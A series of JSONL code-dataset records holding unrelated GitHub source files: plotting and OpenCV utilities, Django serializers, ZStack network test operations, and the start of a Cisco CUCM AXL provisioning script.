+{"seq_id":"9699131351","text":"#importacões de libs\nimport matplotlib.pyplot as plt\n\n#variaveis\nx1 = [1, 2, 3, 4, 5]\ny1 = [3, 4, 7, 2, 4]\n\nx2 = [2, 4, 6, 8, 10]\ny2 = [5, 6, 8, 4, 4]\n\ntitulo = \"Graficos em barras\"\neixox = \"eixo X\"\neixoy = \"eixo Y\"\n\n#legendas\nplt.title(titulo)\nplt.xlabel(eixox)\nplt.ylabel(eixoy)\n\n#utlizando o bar para criar graficos em barras\nplt.bar(x1, y1, label = \"Grupo 1\") # colocando a legenda das cores\nplt.bar(x2, y2, label = \"Grupo 1\")\nplt.legend() #mostrando a leganda no gráfico\n\n#mostrando o grafico\nplt.show()\nplt.savefig(r\"graficos\\grafico_barras.png\", dpi = 300) #imagem em alta resolução","repo_name":"rafaelrossim/DataScience","sub_path":"2_graficosbarras.py","file_name":"2_graficosbarras.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19949836428","text":"import cv2\nimport os\nimport numpy as np\n\npreview_enabled = True\n\ndef init(set_enabled=True):\n    global preview_enabled\n    preview_enabled = set_enabled\n    if set_enabled:\n        if not os.path.exists('data_features_matches'):\n            os.makedirs('data_features_matches')\n        if not os.path.exists('data_features_preview'):\n            os.makedirs('data_features_preview')\n\n\ndef saveImageFeaturePreview(imgFile, kp):\n    if not preview_enabled:\n        return\n    img = cv2.imread(\"data/\" + imgFile)\n    for kpit in kp:\n        cv2.circle(img, tuple(map(int, kpit.pt)), 1, (0, 0, 255), 4)\n    cv2.imwrite(\"data_features_preview/\" + imgFile, img)\n\n\ndef saveFullImageFeaturePreview(kp):\n    if not preview_enabled:\n        return\n    img = cv2.imread(\"input/\" + os.environ.get(\"IFS_PHOTO_FILE\", \"ifs.jpg\"))\n    for kpit in kp:\n        cv2.circle(img, tuple(map(int, kpit.pt)), 1, (0, 0, 255), 4)\n    cv2.imwrite(\"data_features_preview/ifs.jpg\", img)\n\n\ndef saveMatchedCenterMultiple(matchedList):\n    if not preview_enabled:\n        return\n    imgFull = cv2.imread(\n        \"input/\" + os.environ.get(\"IFS_PHOTO_FILE\", \"ifs.jpg\"))\n    for matched in matchedList:\n        for center in matched[\"centers\"]:\n            imgFull = cv2.circle(\n                imgFull, (center[\"x\"], center[\"y\"]), 5, (0, 255, 255), 8)\n            imgFull = cv2.putText(\n                imgFull, str(matched[\"portalID\"]), (center[\"x\"], center[\"y\"]), cv2.FONT_HERSHEY_COMPLEX, 3, (0, 0, 255), 8)\n    cv2.imwrite(\"data_features_matches/ifs.jpg\", imgFull)\n\n\ndef saveGridInfo(matchedGridList):\n    if not preview_enabled:\n        return\n    imgFull = cv2.imread(\"data_features_matches/ifs.jpg\")\n    for idx, colList in enumerate(matchedGridList):\n        for center in colList:\n            imgFull = cv2.putText(\n                imgFull, str(idx), (center[\"x\"], center[\"y\"]), cv2.FONT_HERSHEY_COMPLEX, 4, (0, 0, 255), 15)\n    cv2.imwrite(\"data_features_matches/ifs-grid.jpg\", imgFull)\n","repo_name":"UESTC-Ingress/IFSolver","sub_path":"modules/utils/PreviewUtil.py","file_name":"PreviewUtil.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"16"}
+{"seq_id":"14655908266","text":"from Messages import Message as Ms\n\n\nclass ConfigMessage(Ms.Message):\n    def __init__(self, public_key: str, message: dict = None):\n        try:\n            if message is None:\n                self.message_info = {\n                    \"Type\": \"Config\",\n                    \"PublicKey\": public_key\n                }\n            elif message[\"Type\"] == \"Config\":\n                super(ConfigMessage, self).__init__(message=message)\n        except Exception as e:\n            print(e)\n","repo_name":"aymanKH9991/PasswordManagerServer","sub_path":"Server/Messages/Configration.py","file_name":"Configration.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3724124962","text":"from django.db.models import Q\nfrom rest_framework.serializers import ModelSerializer\nfrom modules.account.user.helpers.model_utils import UserModelUtils\nfrom ..models import Member, MemberShip, MemberShipType, BookingService, Device\nfrom modules.account.user.helpers.srs import UserSr\nfrom modules.club_service.service.helpers.srs import ServiceSr\nfrom modules.noti.notification.models import Notification\nfrom django.http.request import QueryDict\nfrom rest_framework.serializers import ValidationError\n\n\nModel = Member\n\n\nclass BookingServiceSr(ModelSerializer):\n    class Meta:\n        model = BookingService\n        exclude = ()\n\n    def to_representation(self, obj):\n        rep = super().to_representation(obj)\n        member = Member.objects.filter(id=obj.member.id).first()\n        membership = MemberShip.objects.filter(member=member).first()\n\n        rep[\"member_real_name\"] = MemberSr(member).data[\"full_name\"]\n        rep[\"member_real_phone_number\"] = UserSr(\n            member.user).data[\"phone_number\"]\n        rep[\"member_real_email\"] = MemberSr(member).data[\"email\"]\n        rep[\"dob\"] = MemberSr(member).data[\"dob\"]\n        rep[\"occupation\"] = MemberSr(member).data[\"occupation\"]\n        rep[\"address\"] = MemberSr(member).data[\"address\"]\n        rep[\"gender\"] = MemberSr(member).data[\"gender\"]\n        rep[\"avatar\"] = MemberSr(member).data[\"avatar\"]\n        rep[\"membership_type\"] = MemberShipSr(\n            membership).data[\"membership_type\"]\n        rep[\"register_date\"] = MemberShipSr(membership).data[\"register_date\"]\n        rep[\"expire_date\"] = MemberShipSr(membership).data[\"expire_date\"]\n\n        return rep\n\n\nclass MemberSr(ModelSerializer):\n    class Meta:\n        model = Model\n        exclude = []\n\n    def to_representation(self, obj):\n        rep = super().to_representation(obj)\n        rep[\"phone_number\"] = UserSr(obj.user).data[\"phone_number\"]\n        rep[\"email\"] = UserSr(obj.user).data[\"email\"]\n        rep[\"membership_type\"] = MemberShipTypeSr(\n            obj.membership.membership_type).data\n        rep[\"register_date\"] = MemberShipSr(\n            obj.membership).data[\"register_date\"]\n        rep[\"expire_date\"] = MemberShipSr(obj.membership).data[\"expire_date\"]\n        return rep\n\n\nclass MemberShipSr(ModelSerializer):\n    class Meta:\n        model = MemberShip\n        exclude = []\n\n\nclass MemberShipTypeSr(ModelSerializer):\n    class Meta:\n        model = MemberShipType\n        exclude = []\n\n\nclass DeviceSr(ModelSerializer):\n    class Meta:\n        model = Device\n        exclude = []\n\n\nclass MemberRetrieveSr(MemberSr):\n    class Meta(MemberSr.Meta):\n        exclude = [\n            \"created_at\",\n            \"updated_at\",\n            \"user\",\n        ]\n\n    def to_representation(self, obj):\n        rep = super().to_representation(obj)\n        rep[\"membership_type\"] = MemberShipSr(\n            obj.membership).data[\"membership_type\"]\n        return rep\n\n\nclass MemberPermissionSr(MemberRetrieveSr):\n    class Meta(MemberRetrieveSr.Meta):\n        pass\n\n    def to_representation(self, obj):\n        rep = super().to_representation(obj)\n        is_not_read = Notification.objects.filter(\n            Q(member=obj) & Q(is_read=False))\n        rep[\"unread_notification\"] = bool(is_not_read)\n\n        rep[\"phone_number\"] = UserSr(obj.user).data[\"phone_number\"]\n        rep[\"email\"] = UserSr(obj.user).data[\"email\"]\n        rep[\"membership_type\"] = MemberShipTypeSr(\n            obj.membership.membership_type).data\n        rep[\"list_services\"] = []\n        rep[\"register_date\"] = MemberShipSr(\n            obj.membership).data[\"register_date\"]\n        rep[\"expire_date\"] = MemberShipSr(obj.membership).data[\"expire_date\"]\n        rep[\"permissions\"] = UserModelUtils.get_permissions(obj.user)\n        # for service in obj.membership.membership_type.services.all():\n        #     rep[\"list_services\"].append(ServiceSr(service).data)\n        return rep\n\n\nclass MemberOptionSr(MemberSr):\n    class Meta(MemberSr.Meta):\n        exclude = []\n\n    def to_representation(self, obj):\n        groups = obj.user.groups.all()\n        return {\n            \"value\": obj.id,\n            \"label\": obj.full_name,\n            \"email\": obj.user.email,\n            \"phone_number\": str(obj.user.phone_number),\n            \"groups\": groups.values_list(\"id\", flat=True),\n            \"group_labels\": groups.values_list(\"name\", flat=True),\n        }\n","repo_name":"datlt198640/apartment-management","sub_path":"api/modules/account/member/helpers/srs.py","file_name":"srs.py","file_ext":"py","file_size_in_byte":4373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17739310007","text":"'''\r\n\r\nNetwork Security Group operations for test.\r\n\r\n@author: Youyk\r\n'''\r\n\r\nimport apibinding.api_actions as api_actions\r\nimport zstackwoodpecker.test_util as test_util\r\nimport apibinding.inventory as inventory\r\nimport zstackwoodpecker.operations.account_operations as acc_ops\r\nimport zstackwoodpecker.operations.deploy_operations as dep_ops\r\nimport zstackwoodpecker.operations.resource_operations as res_ops\r\nimport zstacklib.utils.xmlobject as xmlobject\r\n\r\nimport os\r\nimport sys\r\nimport traceback\r\n\r\ndef create_security_group(sg_creation_option):\r\n    action = api_actions.CreateSecurityGroupAction()\r\n    if not sg_creation_option.get_name():\r\n        action.name = 'test_sg'\r\n    else:\r\n        action.name = sg_creation_option.get_name()\r\n        \r\n    if not sg_creation_option.get_description():\r\n        action.description = 'Test Security Group'\r\n    else:\r\n        action.description = sg_creation_option.get_description()\r\n\r\n    if not sg_creation_option.get_timeout():\r\n        action.timeout = 120000\r\n    else:\r\n        action.timeout = sg_creation_option.get_timeout()\r\n    \r\n    test_util.action_logger('Create [Security Group]: %s' % action.name)\r\n    evt = acc_ops.execute_action_with_session(action, sg_creation_option.get_session_uuid())\r\n    test_util.test_logger('[sg:] %s is created.' % evt.inventory.uuid)\r\n    return evt.inventory\r\n\r\ndef delete_security_group(sg_uuid, session_uuid=None):\r\n    action = api_actions.DeleteSecurityGroupAction()\r\n    action.uuid = sg_uuid\r\n    action.timeout = 12000\r\n    test_util.action_logger('Delete [Security Group:] %s' % sg_uuid)\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    return evt\r\n\r\n#rules = [inventory.SecurityGroupRuleAO()]\r\ndef add_rules_to_security_group(sg_uuid, rules, session_uuid=None):\r\n    action = api_actions.AddSecurityGroupRuleAction()\r\n    action.securityGroupUuid = sg_uuid\r\n    action.timeout = 120000\r\n    action.rules = rules\r\n    for rule in rules:\r\n        test_util.action_logger('Add Security Group [Rule:] type: %s, protocol: %s, startPort: %s, endPort: %s, address: %s in [Security Group:] %s' % (rule.type, rule.protocol, rule.startPort, rule.endPort, rule.allowedCidr, sg_uuid))\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    return evt.inventory\r\n\r\n#rules = [rules_uuid]\r\ndef remove_rules_from_security_group(rules, session_uuid=None):\r\n    '''\r\n    params: rules is a list includes a list of rules uuids. \r\n    '''\r\n    action = api_actions.DeleteSecurityGroupRuleAction()\r\n    action.timeout = 12000\r\n    action.ruleUuids = rules\r\n    test_util.action_logger('Delete Security Group [Rules:] %s' % rules)\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    return evt.inventory\r\n\r\ndef add_nic_to_security_group(sg_uuid, vm_nic_list, session_uuid=None):\r\n    action = api_actions.AddVmNicToSecurityGroupAction()\r\n    action.securityGroupUuid = sg_uuid\r\n    action.vmNicUuids = vm_nic_list\r\n    action.timeout = 120000\r\n    test_util.action_logger('Add [Nics:] %s to [Security Group:] %s' \\\r\n            % (vm_nic_list, sg_uuid))\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    return evt\r\n\r\ndef remove_nic_from_security_group(sg_uuid, nic_uuid_list, session_uuid=None):\r\n    action = api_actions.DeleteVmNicFromSecurityGroupAction()\r\n    action.securityGroupUuid = sg_uuid\r\n    action.vmNicUuids = nic_uuid_list\r\n    action.timeout = 12000\r\n    test_util.action_logger('Delete [Nics:] %s From [Security Group:] %s' \\\r\n            % (nic_uuid_list, sg_uuid))\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    return evt\r\n\r\ndef attach_security_group_to_l3(sg_uuid, l3_uuid, session_uuid=None):\r\n    action = api_actions.AttachSecurityGroupToL3NetworkAction()\r\n    action.securityGroupUuid = sg_uuid\r\n    action.l3NetworkUuid = l3_uuid\r\n    action.timeout = 12000\r\n    test_util.action_logger('Attach [Security Group:] %s to [l3:] %s' % (sg_uuid, l3_uuid))\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    return evt\r\n\r\ndef detach_security_group_from_l3(sg_uuid, l3_uuid, session_uuid=None):\r\n    action = api_actions.DetachSecurityGroupFromL3NetworkAction()\r\n    action.l3NetworkUuid = l3_uuid\r\n    action.securityGroupUuid = sg_uuid\r\n    action.timeout = 12000\r\n    test_util.action_logger('Detach [Security Group:] %s from [l3:] %s' % (sg_uuid, l3_uuid))\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    return evt\r\n\r\ndef create_vip(vip_creation_option):\r\n    action = api_actions.CreateVipAction()\r\n    action.l3NetworkUuid = vip_creation_option.get_l3_uuid()\r\n    action.allocateStrategy = vip_creation_option.get_allocateStrategy()\r\n    action.timeout = vip_creation_option.get_timeout()\r\n    #mandatory vip name:\r\n    name = vip_creation_option.get_name()\r\n    if not name:\r\n        action.name = 'vip_test'\r\n    else:\r\n        action.name = name\r\n\r\n    session_uuid = vip_creation_option.get_session_uuid()\r\n    action.description = vip_creation_option.get_description()\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid).inventory\r\n    test_util.action_logger('Create [VIP:] %s [IP:] %s in [l3:] %s' % (evt.uuid, evt.ip, action.l3NetworkUuid))\r\n    return evt\r\n\r\ndef delete_vip(vip_uuid, session_uuid=None):\r\n    action = api_actions.DeleteVipAction()\r\n    action.uuid = vip_uuid\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    test_util.action_logger(\"[VIP]: %s is deleted\" % vip_uuid)\r\n    return evt\r\n\r\ndef create_port_forwarding(pf_rule_creation_option):\r\n    action = api_actions.CreatePortForwardingRuleAction()\r\n    action.name = pf_rule_creation_option.get_name()\r\n    if not action.name:\r\n        action.name = 'test_port_forwarding_rule'\r\n\r\n    action.timeout = pf_rule_creation_option.get_timeout()\r\n    if not action.timeout:\r\n        action.timeout = 12000\r\n\r\n    action.description = pf_rule_creation_option.get_description()\r\n    session_uuid = pf_rule_creation_option.get_session_uuid()\r\n\r\n    action.vipPortStart, action.vipPortEnd = pf_rule_creation_option.get_vip_ports()\r\n    action.privatePortStart, action.privatePortEnd = pf_rule_creation_option.get_private_ports()\r\n    if not action.privatePortStart:\r\n        action.privatePortStart = action.vipPortStart\r\n        action.privatePortEnd = action.vipPortEnd\r\n\r\n    action.vipUuid = pf_rule_creation_option.get_vip_uuid()\r\n    action.vmNicUuid = pf_rule_creation_option.get_vm_nic_uuid()\r\n    action.allowedCidr = pf_rule_creation_option.get_allowedCidr()\r\n    action.protocolType = pf_rule_creation_option.get_protocol()\r\n    test_util.action_logger(\"Create Port Forwarding Rule: [vipUuid:] %s [vm nic:] %s [vip start:] %s [vip end:] %s [pri start:] %s [pri end:] %s [allowedCidr:] %s\" % (action.vipUuid, action.vmNicUuid, action.vipPortStart, action.vipPortEnd, action.privatePortStart, action.privatePortEnd, action.allowedCidr))\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    return evt.inventory\r\n\r\ndef delete_port_forwarding(pf_rule_uuid, session_uuid=None):\r\n    action = api_actions.DeletePortForwardingRuleAction()\r\n    action.uuid = pf_rule_uuid\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    test_util.action_logger(\"Port Forwarding Rule [uuid:] %s is deleted\" % pf_rule_uuid)\r\n    return evt\r\n\r\ndef attach_port_forwarding(pf_rule_uuid, vm_nic_uuid, session_uuid=None):\r\n    action = api_actions.AttachPortForwardingRuleAction()\r\n    action.ruleUuid = pf_rule_uuid\r\n    action.vmNicUuid = vm_nic_uuid\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    test_util.action_logger(\"Port Forwarding Rule [uuid:] %s is attached to %s\" % (pf_rule_uuid, vm_nic_uuid))\r\n    return evt.inventory\r\n\r\ndef detach_port_forwarding(pf_rule_uuid, session_uuid=None):\r\n    action = api_actions.DetachPortForwardingRuleAction()\r\n    action.uuid = pf_rule_uuid\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    test_util.action_logger(\"Port Forwarding Rule [uuid:] %s is detached\" % pf_rule_uuid)\r\n    return evt.inventory\r\n\r\ndef create_eip(eip_creation_option):\r\n    action = api_actions.CreateEipAction()\r\n    action.vipUuid = eip_creation_option.get_vip_uuid()\r\n    action.vmNicUuid = eip_creation_option.get_vm_nic_uuid()\r\n    action.name = eip_creation_option.get_name()\r\n    if not action.name:\r\n        action.name = 'eip test'\r\n    action.description = eip_creation_option.get_description()\r\n    action.timeout = eip_creation_option.get_timeout()\r\n    if not action.timeout:\r\n        action.timeout = 12000\r\n\r\n    session_uuid = eip_creation_option.get_session_uuid()\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    test_util.action_logger(\"[EIP:] %s is created, with [vip:] %s and [nic:] %s\" % (evt.inventory.uuid, action.vipUuid, action.vmNicUuid))\r\n    return evt.inventory\r\n\r\ndef attach_eip(eip_uuid, nic_uuid, session_uuid=None):\r\n    action = api_actions.AttachEipAction()\r\n    action.eipUuid = eip_uuid\r\n    action.vmNicUuid = nic_uuid\r\n    action.timeout = 12000\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    test_util.action_logger(\"[EIP:] %s is attached to [nic:] %s\" % (eip_uuid, nic_uuid))\r\n    return evt.inventory\r\n\r\ndef detach_eip(eip_uuid, session_uuid=None):\r\n    action = api_actions.DetachEipAction()\r\n    action.uuid = eip_uuid\r\n    action.timeout = 12000\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    test_util.action_logger(\"[EIP:] %s is detached\" % eip_uuid)\r\n    return evt.inventory\r\n\r\ndef delete_eip(eip_uuid, session_uuid=None):\r\n    action = api_actions.DeleteEipAction()\r\n    action.uuid = eip_uuid\r\n    action.timeout = 12000\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    test_util.action_logger(\"[EIP:] %s is deleted\" % eip_uuid)\r\n    return evt\r\n    \r\n\r\ndef delete_l2(l2_uuid, session_uuid = None):\r\n    '''\r\n    Delete L2 will stop all VMs which is using this L2. When VM started again, \r\n    the related L2 NIC will be removed. \r\n    '''\r\n    action = api_actions.DeleteL2NetworkAction()\r\n    action.uuid = l2_uuid\r\n    action.timeout = 300000\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    test_util.action_logger(\"[L2:] %s is deleted\" % l2_uuid)\r\n    return evt\r\n\r\ndef delete_l3(l3_uuid, session_uuid = None):\r\n    '''\r\n    Delete L3 will stop all VMs which is using this L3. When VM started again, \r\n    the related L3 NIC will be removed. \r\n    '''\r\n    action = api_actions.DeleteL3NetworkAction()\r\n    action.uuid = l3_uuid\r\n    action.timeout = 300000\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    test_util.action_logger(\"[L3:] %s is deleted\" % l3_uuid)\r\n    return evt\r\n\r\ndef attach_l2(l2_uuid, cluster_uuid, session_uuid = None):\r\n    action = api_actions.AttachL2NetworkToClusterAction()\r\n    action.clusterUuid = cluster_uuid\r\n    action.l2NetworkUuid = l2_uuid\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    test_util.action_logger(\"Attach [L2:] %s to [Cluster:] %s \" \\\r\n            % (l2_uuid, cluster_uuid))\r\n    return evt\r\n\r\ndef add_l2_resource(deploy_config, l2_name, zone_name = None, \\\r\n        session_uuid = None):\r\n    session_uuid_flag = True\r\n    if not session_uuid:\r\n        session_uuid = acc_ops.login_as_admin()\r\n        session_uuid_flag = False\r\n    try:\r\n        dep_ops.add_l2_network(deploy_config, session_uuid, l2_name, \\\r\n                zone_name = zone_name)\r\n        l2_uuid = res_ops.get_resource(res_ops.L2_NETWORK, session_uuid, \\\r\n                name = l2_name)[0].uuid\r\n        \r\n        for zone in xmlobject.safe_list(deploy_config.zones.zone):\r\n            if zone_name and zone_name != zone.name_:\r\n                continue\r\n            for cluster in xmlobject.safe_list(zone.clusters.cluster):\r\n                if xmlobject.has_element(cluster, 'l2NetworkRef'):\r\n                    for l2ref in xmlobject.safe_list(cluster.l2NetworkRef):\r\n                        if l2_name != l2ref.text_:\r\n                            continue\r\n\r\n                        cluster_uuid = res_ops.get_resource(res_ops.CLUSTER, \\\r\n                                session_uuid, name=cluster.name_)[0].uuid\r\n                        attach_l2(l2_uuid, cluster_uuid, session_uuid)\r\n\r\n        dep_ops.add_l3_network(deploy_config, session_uuid, l2_name = l2_name, \\\r\n                zone_name = zone_name)\r\n        cond = res_ops.gen_query_conditions('l2NetworkUuid', '=', l2_uuid)\r\n        l3_name = res_ops.query_resource(res_ops.L3_NETWORK, cond, \\\r\n                session_uuid)[0].name\r\n        dep_ops.add_virtual_router(deploy_config, session_uuid, \\\r\n                l3_name = l3_name, zone_name = zone_name)\r\n    except Exception as e:\r\n        test_util.test_logger('[Error] zstack deployment meets exception when adding l2 resource .')\r\n        traceback.print_exc(file=sys.stdout)\r\n        raise e\r\n    finally:\r\n        if not session_uuid_flag:\r\n            acc_ops.logout(session_uuid)\r\n\r\n    test_util.action_logger('Complete add l2 resources for [uuid:] %s' \\\r\n            % l2_uuid)\r\n\r\ndef add_l3_resource(deploy_config, l3_name, l2_name = None, zone_name = None, \\\r\n        session_uuid = None):\r\n    session_uuid_flag = True\r\n    if not session_uuid:\r\n        session_uuid = acc_ops.login_as_admin()\r\n        session_uuid_flag = False\r\n    try:\r\n        dep_ops.add_l3_network(deploy_config, session_uuid, l3_name = l3_name, \\\r\n                l2_name = l2_name, zone_name = zone_name)\r\n        dep_ops.add_virtual_router(deploy_config, session_uuid, \\\r\n                l3_name = l3_name, zone_name = zone_name)\r\n        l3_uuid = res_ops.get_resource(res_ops.L3_NETWORK, session_uuid, \\\r\n                name = l3_name)[0].uuid\r\n    except Exception as e:\r\n        test_util.test_logger('[Error] zstack deployment meets exception when adding l3 resource .')\r\n        traceback.print_exc(file=sys.stdout)\r\n        raise e\r\n    finally:\r\n        if not session_uuid_flag:\r\n            acc_ops.logout(session_uuid)\r\n\r\n    test_util.action_logger('Complete add l3 resources for [uuid:] %s' \\\r\n            % l3_uuid)\r\n\r\ndef delete_ip_range(ip_range_uuid, session_uuid = None):\r\n    action = api_actions.DeleteIpRangeAction()\r\n    action.sessionUuid = session_uuid\r\n    action.uuid = ip_range_uuid\r\n    action.timeout = 300000\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    test_util.action_logger(\"[IP Range:] %s is deleted\" % ip_range_uuid)\r\n    return evt\r\n\r\ndef add_ip_range(ip_range_option, session_uuid = None):\r\n    action = api_actions.AddIpRangeAction()\r\n    action.sessionUuid = session_uuid\r\n    action.timeout = 30000\r\n    action.name = ip_range_option.get_name()\r\n    action.startIp = ip_range_option.get_startIp()\r\n    action.endIp = ip_range_option.get_endIp()\r\n    action.netmask = ip_range_option.get_netmask()\r\n    action.gateway = ip_range_option.get_gateway()\r\n    action.l3NetworkUuid = ip_range_option.get_l3_uuid()\r\n    action.description = ip_range_option.get_description()\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    test_util.action_logger(\"[IP Range:] %s is add\" % evt.inventory.uuid)\r\n    return evt.inventory\r\n\r\ndef detach_l2(l2_uuid, cluster_uuid, session_uuid = None):\r\n    action = api_actions.DetachL2NetworkFromClusterAction()\r\n    action.sessionUuid = session_uuid\r\n    action.timeout = 90000\r\n    action.l2NetworkUuid = l2_uuid\r\n    action.clusterUuid = cluster_uuid\r\n    test_util.action_logger('Detach [l2:] %s from [cluster:] %s' % \\\r\n            (l2_uuid, cluster_uuid))\r\n    evt = acc_ops.execute_action_with_session(action, session_uuid)\r\n    return evt\r\n\r\ndef get_ip_capacity_by_l3s(l3_network_list):\r\n    action = api_actions.GetIpAddressCapacityAction()\r\n    action.l3NetworkUuids = l3_network_list\r\n    evt = acc_ops.execute_action_with_session(action, None)\r\n    return evt\r\n    \r\n","repo_name":"hyhhui/zstack-woodpecker","sub_path":"zstackwoodpecker/zstackwoodpecker/operations/net_operations.py","file_name":"net_operations.py","file_ext":"py","file_size_in_byte":15953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10510225439","text":"\"\"\"AXL addUser/addLine/addPhone sample script, using the Zeep SOAP library\r\nCopyright (c) 2018 Cisco and/or its affiliates.\r\nPermission is hereby granted, free of charge, to any person obtaining a copy\r\nof this software and associated documentation files (the \"Software\"), to deal\r\nin the Software without restriction, including without limitation the rights\r\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\ncopies of the Software, and to permit persons to whom the Software is\r\nfurnished to do so, subject to the following conditions:\r\nThe above copyright notice and this permission notice shall be included in all\r\ncopies or substantial portions of the Software.\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\nSOFTWARE.\r\n\"\"\"\r\n# This was tested and used on CUCM 11.5\r\n# Note you must have the schema folder/files and CUCM .pem certs in the same location as script\r\n# AXLAPI.wsdl\r\n# AXLEnums.xsd\r\n# AXLSoap.xsd\r\n\r\nfrom lxml import etree\r\nfrom requests import Session\r\nfrom requests.auth import HTTPBasicAuth\r\nfrom getpass import getpass\r\n\r\nimport keyring\r\n\r\nfrom zeep import Client, Settings, Plugin, xsd\r\nfrom zeep.transports import Transport\r\nfrom zeep.exceptions import Fault\r\nimport sys\r\nimport time\r\nimport logging\r\nfrom progress.spinner import Spinner\r\nimport re\r\n\r\n# Use keyring to store username/passwords in Windows credential manager\r\nresetCredentials = False\r\ncucmusername = ''\r\n\r\n\r\ndef _setup_cucm_username():\r\n    global cucmusername\r\n    # Change username & password variables as you see fit\r\n    cucmusername = keyring.get_password(\"username\", \"username\")\r\n    if cucmusername is None or cucmusername == \"\" or resetCredentials is True:\r\n        print()\r\n        print(\"No CUCM username found in local credential manager. Let's add it.\")\r\n        print()\r\n        cucmusername = getpass(prompt=\"Please enter your CUCM username: Note: you will not see what's being typed: \")\r\n        if cucmusername is None or cucmusername == \"\":\r\n            print(\"No username entered. Goodbye.\")\r\n            sys.exit(1)\r\n        else:\r\n            keyring.set_password(\"username\", \"username\", cucmusername)\r\n            print('Added AM CUCM username to the local credential manager under \"username.\"')\r\n\r\n\r\n_setup_cucm_username()\r\n\r\n\r\ncucmpassword = ''\r\n\r\n\r\ndef _setup_cucm_pw():\r\n    global cucmpassword\r\n    global resetCredentials\r\n    cucmpassword = keyring.get_password(\"cucmpassword\", \"cucmpassword\")\r\n    if cucmpassword is None or cucmpassword == \"\" or resetCredentials is True:\r\n        print()\r\n        print(\"No CUCM password found in local credential manager. Let's add it.\")\r\n        print()\r\n        cucmpassword = getpass(prompt=\"Please enter your CUCM password: \")\r\n        if cucmpassword is None or cucmpassword == \"\":\r\n            print(\"No password entered. Goodbye.\")\r\n            sys.exit(1)\r\n        else:\r\n            keyring.set_password(\"cucmpassword\", \"cucmpassword\", cucmpassword)\r\n            resetCredentials = False\r\n            print('Added AM CUCM password to the local credential manager under \"cucmpassword.\"')\r\n\r\n\r\n_setup_cucm_pw()\r\n\r\n# Set up logging\r\nlog = \"standard.log\"\r\nlogging.basicConfig(filename='standard.log', level=logging.INFO, format='%(asctime)s %(message)s', datefmt='%d/%m/%Y %H:%M:%S')\r\nlogging.info(cucmusername + ' started running the script')\r\n\r\n# CUCM Menu\r\nsessionCert = ''\r\nserverUrl = ''\r\nuserEnteredRegion = ''\r\nlocationMenu = {}\r\nlocationMenu[\"\\n1\"] = 'US'\r\nlocationMenu[\"2\"] = 'Europe'\r\nlocationMenu[\"3\"] = 'APAC'\r\nwhile True:\r\n    options = locationMenu.keys()\r\n    for entry in options:\r\n        print(entry, locationMenu[entry])\r\n\r\n    selection = input(\"Please select regional CUCM you'd like to work with: \")\r\n    if selection == \"1\":\r\n        userEnteredRegion = 'US'\r\n        sessionCert = 'us-cert-chain.pem'\r\n        serverUrl = 'https://insertUSCUCMURL:8443/axl/'\r\n        break\r\n    elif selection == \"2\":\r\n        userEnteredRegion = 'Europe'\r\n        sessionCert = 'europe-cert-chain.pem'\r\n        serverUrl = 'https://insertEuropeCUCMURL:8443/axl/'\r\n        break\r\n    elif selection == \"3\":\r\n        userEnteredRegion = 'APAC'\r\n        sessionCert = 'apac-cert-chain.pem'\r\n        serverUrl = 'https://insertAPACCUCMURL.net:8443/axl/'\r\n        break\r\n\r\n# Location Menu\r\ndevicePoolName = None\r\nlocationName = None\r\ncallingSearchSpaceName = None\r\ncallForwardAll = None\r\nexternalMask = None\r\nif userEnteredRegion == 'US':\r\n    # US Location Menu\r\n    # Set cluster specific variables\r\n    commonDeviceConfigName = 'US-PHONES'\r\n    softkeyTemplateName = 'Standard User'\r\n    userLocale = 'English United States'\r\n    routePartitionName = 'ALL_IPPhones'\r\n    locationMenu = {}\r\n    locationMenu[\"\\n1\"] = 'Location 1'\r\n    locationMenu[\"2\"] = 'Location 2'\r\n    # you get the idea\r\n\r\n    while True:\r\n        options = locationMenu.keys()\r\n        for entry in options:\r\n            print(entry, locationMenu[entry])\r\n\r\n        